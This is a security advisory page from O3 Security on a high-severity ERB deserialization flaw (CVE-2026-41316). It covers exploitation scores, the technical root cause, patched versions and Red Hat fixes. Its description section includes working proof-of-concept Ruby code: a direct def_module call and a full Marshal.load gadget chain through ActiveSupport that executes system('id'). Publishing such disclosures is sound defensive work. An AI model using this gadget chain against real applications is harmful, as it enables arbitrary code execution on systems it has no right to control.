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HIGH severity

GHSA-q339-8rmv-2mhv — erb

HIGH

GHSA-q339-8rmv-2mhv is a high-severity (CVSS 8.1) CWE-693 vulnerability in erb. A fix is available for erb — see the affected versions and patch details below.

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

Also known asCVE-2026-41316
Published
Apr 24, 2026
Updated
Sep 10, 2026
Affected
4 pkgs
Patched
4 / 4
Exploits
None indexed
Exploitation data as of Sep 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-q339-8rmv-2mhv.

EPSS Exploitation Probability

via FIRST.org ↗
1.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs69th percentile — riskier than 69% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-q339-8rmv-2mhv plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

4 pkgs affected
💎erb💎erb💎erb💎erb

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

  • ERB#def_method
  • ERB#def_module
  • ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

<details>

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

  1. Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
  2. Hash key insertion calls .hash on the proxy
  3. .hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
  4. def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

</details>

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

  • Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
  • Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
  • Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

<details>

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

YearChainMitigated in
2018Gem::Requirement (Luke Jahnke)RubyGems 3.0
2021UDG -- TarReader+WriteAdapter (vakzz)RubyGems 3.1
2022Gem::Specification._load (vakzz)RubyGems 3.6
2024UncaughtThrowError (Luke Jahnke)Ruby 3.4 patches
2024Gem::Source::Git#rev_parseRubyGems 3.6
2026ERB#def_module @_init bypassERB 6.0.4
</details>

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

  • ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4
<details>

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end
</details>

Affected Packages

4 total 4 fixed
EcosystemPackageVulnerable rangeFix
💎RubyGemserball versions4.0.3.1bundle update erb --conservative
💎RubyGemserb≥ 4.0.4&&< 4.0.4.14.0.4.1bundle update erb --conservative
💎RubyGemserb≥ 5.0.0&&< 6.0.1.16.0.1.1bundle update erb --conservative
💎RubyGemserb≥ 6.0.2&&< 6.0.46.0.4bundle update erb --conservative

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for erb, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update erb to 4.0.3.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-q339-8rmv-2mhv is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-q339-8rmv-2mhv can be triaged on real exposure rather than presence alone.

Tailored to GHSA-q339-8rmv-2mhv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant
ProductFixed inAdvisory
Red Hat Enterprise Linux 10ruby-0:3.3.10-12.el10_1RHSA-2026:18065
Red Hat Enterprise Linux 10ruby4.0-0:4.0.3-34.el10_2RHSA-2026:20606
Red Hat Enterprise Linux 10.0 Extended Update Supportruby-0:3.3.10-11.el10_0.1RHSA-2026:33478
Red Hat Enterprise Linux 8ruby:3.3-8100020260428163940.489197e6RHSA-2026:20614
Red Hat Enterprise Linux 9ruby:3.3-9070020260428163621.9RHSA-2026:18030
Red Hat Enterprise Linux 9ruby-0:3.0.7-166.el9_7RHSA-2026:18039
Red Hat Enterprise Linux 9ruby:4.0-9080020260513131334.9RHSA-2026:20596
Red Hat Enterprise Linux 9.0 Update Services for SAP Solutionsruby-0:3.0.4-160.2.el9_0RHSA-2026:20670

Frequently Asked Questions

## Summary Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an `@_init` instance variable guard in `ERB#result` and `ERB#run` to prevent code execution when an ERB object is reconstructed via `Marshal.load` (deserialization). However, three other public methods that also evaluate `@src` via `eval()` were not given the same guard: - `ERB#def_method` - `ERB#def_module` - `ERB#def_class` An attacker who can trigger `Marshal.load` on untrusted data in a Ruby application that has `erb` loaded can use `ERB#def_module` (zero-arg, default parameters) as a code execution sink,
O3 Security · Impact-Aware SCA

Is GHSA-q339-8rmv-2mhv in your dependencies?

O3 Security finds GHSA-q339-8rmv-2mhv across RubyGems dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-q339-8rmv-2mhv: erb RCE (High 8.1) | O3 Security